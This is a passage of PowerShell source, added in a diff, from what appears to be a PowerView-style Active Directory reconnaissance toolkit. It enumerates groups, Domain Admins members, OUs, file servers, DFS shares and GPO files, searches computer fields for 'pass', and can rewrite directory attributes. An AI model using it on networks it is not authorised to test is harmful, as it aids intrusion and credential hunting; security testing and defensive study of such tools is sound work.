.PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER ReturnRaw + + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE + + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $ReturnRaw, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + process { + if($SID) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-NT4toCanonical -ObjectName $Name + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Warning "Error resolving SID '$SID'" + return $Null + } + } + } + catch { + Write-Warning "Error resolving SID '$SID' : $_" + return $Null + } + } + + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($ObjectSearcher) { + + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } + + $ObjectSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } + } +} + + +function Set-ADObject { +<# + .SYNOPSIS + + Takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue'. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PropertyName + + The property name to set. + + .PARAMETER PropertyValue + + The value to set for PropertyName + + .PARAMETER PropertyXorValue + + Integer calue to binary xor (-bxor) with the current int value. + + .PARAMETER ClearValue + + Switch. Clear the value of PropertyName + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 + + Set the countrycode for matt.admin to 0 +#> + + [CmdletBinding()] + Param ( + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [Parameter(Mandatory = $True)] + [String] + $PropertyName, + + $PropertyValue, + + [Int] + $PropertyXorValue, + + [Switch] + $ClearValue, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Arguments = @{ + 'SID' = $SID + 'Name' = $Name + 'SamAccountName' = $SamAccountName + 'Domain' = $Domain + 'DomainController' = $DomainController + 'PageSize' = $PageSize + } + # splat the appropriate arguments to Get-ADObject + $RawObject = Get-ADObject -ReturnRaw @Arguments + + try { + # get the modifiable object for this search result + $Entry = $RawObject.GetDirectoryEntry() + + # if the property name doesn't already exist + if(!$Entry.$PropertyName) { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() + } + + else { + if($ClearValue) { + # remove the value fromt the entry + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + } + else { + # resolve this property's type name so as can properly set it + $TypeName = $Entry.$PropertyName[0].GetType().name + + # if we're binary-or'ing the current value + if($PropertyXorValue) { + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + } + + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + + $Entry.commitchanges() + } + } + catch { + Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" + } +} + + +function Get-ComputerProperty { +<# + .SYNOPSIS + + Returns a list of all computer object properties. If a property + name is specified, it returns all [computer:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Return property names for computers. + + .PARAMETER Domain + + The domain to query for computer properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Domain testing + + Returns all user properties for computers in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location + + Returns all an array of computer/ssn/lastlogin/location combinations + for computers in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties | Sort-Object -Unique + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + } +} + + +function Find-ComputerField { +<# + .SYNOPSIS + + Searches computer object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search in, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-ComputerField -SearchTerm backup -SearchField info + + Find computer accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Term')] + [String] + $SearchTerm = 'pass', + + [Alias('Field')] + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-NetOU { +<# + .SYNOPSIS + + Gets a list of all current OUs in a domain. + + .PARAMETER OUName + + The OU name to query for, wildcards accepted. + + .PARAMETER GUID + + Only return OUs with the specified GUID in their gplink property. + + .PARAMETER Domain + + The domain to query for OUs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetOU + + Returns the current OUs in the domain. + + .EXAMPLE + + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. + + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $OUName = '*', + + [String] + $GUID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } + + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + } + } +} + + +function Get-NetSite { +<# + .SYNOPSIS + + Gets a list of all current sites in a domain. + + .PARAMETER SiteName + + Site filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for sites, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER GUID + + Only return site with the specified GUID in their gplink property. + + .PARAMETER FullData + + Switch. Return full site objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $GUID, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + } + process { + if($SiteSearcher) { + + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $SiteSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just return the site name + $_.properties.name + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-NetSubnet { +<# + .SYNOPSIS + + Gets a list of all current subnets in a domain. + + .PARAMETER SiteName + + Only return subnets from the specified SiteName. + + .PARAMETER Domain + + The domain to query for subnets, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full subnet objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSubnet + + Returns all subnet names in the current domain. + + .EXAMPLE + + PS C:\> Get-NetSubnet -Domain testlab.local -FullData + + Returns the full data objects for all subnets in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $ADSpath, + + [String] + $DomainController, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + } + + process { + if($SubnetSearcher) { + + $SubnetSearcher.filter="(&(objectCategory=subnet))" + + try { + $SubnetSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } + } + else { + # otherwise just return the subnet name and site name + if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + + $SubnetProperties = @{ + 'Subnet' = $_.properties.name[0] + } + try { + $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] + } + catch { + $SubnetProperties['Site'] = 'Error' + } + + New-Object -TypeName PSObject -Property $SubnetProperties + } + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-DomainSID { +<# + .SYNOPSIS + + Gets the SID for the domain. + + .PARAMETER Domain + + The domain to query, defaults to the current domain. + + .EXAMPLE + + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> + + param( + [String] + $Domain + ) + + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + # query for the primary domain controller so we can extract the domain SID for filtering + $PrimaryDC = $FoundDomain.PdcRoleOwner + $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid + $Parts = $PrimaryDCSID.split("-") + $Parts[0..($Parts.length -2)] -join "-" + } +} + + +function Get-NetGroup { +<# + .SYNOPSIS + + Gets a list of all current groups in a domain, or all + the groups a given user/group object belongs to. + + .PARAMETER GroupName + + The group name to query for, wildcards accepted. + + .PARAMETER SID + + The group SID to query for. + + .PARAMETER UserName + + The user name (or group name) to query for all effective + groups of. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER AdminCount + + Switch. Return group with adminCount=1. + + .PARAMETER FullData + + Switch. Return full group objects instead of just object names (the default). + + .PARAMETER RawSids + + Switch. Return raw SIDs when using "Get-NetGroup -UserName X" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroup + + Returns the current groups in the domain. + + .EXAMPLE + + PS C:\> Get-NetGroup -GroupName *admin* + + Returns all groups with "admin" in their group name. + + .EXAMPLE + + PS C:\> Get-NetGroup -Domain testing -FullData + + Returns full group data objects in the 'testing' domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName = '*', + + [String] + $SID, + + [String] + $UserName, + + [String] + $Filter, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $AdminCount, + + [Switch] + $FullData, + + [Switch] + $RawSids, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if($GroupSearcher) { + + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + if ($UserName) { + # get the raw user object + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") + + $UserDirectoryEntry.TokenGroups | Foreach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in users and default domain user group + if(!($GroupSid -match '^S-1-5-32-545|-513$')) { + if($FullData) { + Get-ADObject -SID $GroupSid -PageSize $PageSize + } + else { + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName $GroupSid + } + } + } + } + } + else { + if ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + + $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # if we're returning full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the group name + $_.properties.samaccountname + } + } + } + } + } +} + + +function Get-NetGroupMember { +<# + .SYNOPSIS + + This function users [ADSI] and LDAP to query the current AD context + or trusted domain for users in a specified group. If no GroupName is + specified, it defaults to querying the "Domain Admins" group. + This is a replacement for "net group 'name' /domain" + + .PARAMETER GroupName + + The group name to query for users. + + .PARAMETER SID + + The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for group users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER FullData + + Switch. Returns full data objects instead of just group/users. + + .PARAMETER Recurse + + Switch. If the group member is a group, recursively try to query its members as well. + + .PARAMETER UseMatchingRule + + Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. + Much faster than manual recursion, but doesn't reveal cross-domain groups. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroupMember + + Returns the usernames that of members of the "Domain Admins" domain group. + + .EXAMPLE + + PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" + + Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + + .LINK + + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName, + + [String] + $SID, + + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [Switch] + $Recurse, + + [Switch] + $UseMatchingRule, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if(!$DomainController) { + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + } + + process { + + if ($GroupSearcher) { + + if ($Recurse -and $UseMatchingRule) { + # resolve the group to a distinguishedname + if ($GroupName) { + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + } + elseif ($SID) { + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + $GroupDN = $Group.distinguishedname + $GroupFoundName = $Group.name + + if ($GroupDN) { + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + + $Members = $GroupSearcher.FindAll() + $GroupFoundName = $GroupName + } + else { + Write-Error "Unable to find Group" + } + } + else { + if ($GroupName) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + elseif ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + + $GroupSearcher.FindAll() | ForEach-Object { + try { + if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } + + $GroupFoundName = $_.properties.name[0] + $Members = @() + + if ($_.properties.member.Count -eq 0) { + $Finished = $False + $Bottom = 0 + $Top = 0 + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + try { + $Result = $GroupSearcher.FindOne() + if ($Result) { + $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" + $Results = $_.Properties.item($RangedProperty) + if ($Results.count -eq 0) { + $Finished = $True + } + else { + $Results | ForEach-Object { + $Members += $_ + } + } + } + else { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $Members = $_.properties.member + } + } + catch { + Write-Verbose $_ + } + } + } + + $Members | Where-Object {$_} | ForEach-Object { + # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + if($DomainController) { + $Result = [adsi]"LDAP://$DomainController/$_" + } + else { + $Result = [adsi]"LDAP://$_" + } + if($Result){ + $Properties = $Result.Properties + } + } + + if($Properties) { + + if($Properties.samaccounttype -match '268435456') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + if ($FullData) { + $GroupMember = Convert-LDAPProperty -Properties $Properties + } + else { + $GroupMember = New-Object PSObject + } + + $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + + try { + $MemberDN = $Properties.distinguishedname[0] + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } + } + + if($Properties.objectSid) { + $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSid = $Null + } + + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember + + # if we're doing manual recursion + if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + } + } + + } + } + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. + + .PARAMETER Domain + + The domain to query for user file servers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER TargetUsers + + An array of users to query for file servers. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String[]] + $TargetUsers, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function SplitPath { + # short internal helper to split UNC server paths + param([String]$Path) + + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + # filter for any target users + if($TargetUsers) { + $TargetUsers -Match $_.samAccountName + } + else { $True } + } | Foreach-Object { + # split out every potential file server path + if($_.homedirectory) { + SplitPath($_.homedirectory) + } + if($_.scriptpath) { + SplitPath($_.scriptpath) + } + if($_.profilepath) { + SplitPath($_.profilepath) + } + + } | Where-Object {$_} | Sort-Object -Unique +} + + +function Get-DFSshare { +<# + .SYNOPSIS + + Returns a list of all fault-tolerant distributed file + systems for a given domain. + + .PARAMETER Version + + The version of DFS to query for servers. + 1/v1, 2/v2, or all + + .PARAMETER Domain + + The domain to query for user DFS shares, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> + + [CmdletBinding()] + param( + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing DFS share : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } + + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing target : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } + + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + $DFSshares | Sort-Object -Property "RemoteServerName" +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# + .SYNOPSIS + + Helper to parse a GptTmpl.inf policy file path into a custom object. + + .PARAMETER GptTmplPath + + The GptTmpl.inf file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + + .EXAMPLE + + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + Parse the default domain policy .inf for dev.testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GptTmplPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GptTmplPath = $RandDrive + ":\" + $FilePath + } + } + + process { + $SectionName = '' + $SectionsTemp = @{} + $SectionsFinal = @{} + + try { + + if(Test-Path $GptTmplPath) { + + Write-Verbose "Parsing $GptTmplPath" + + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() + + if($PropertyValues -match ',') { + 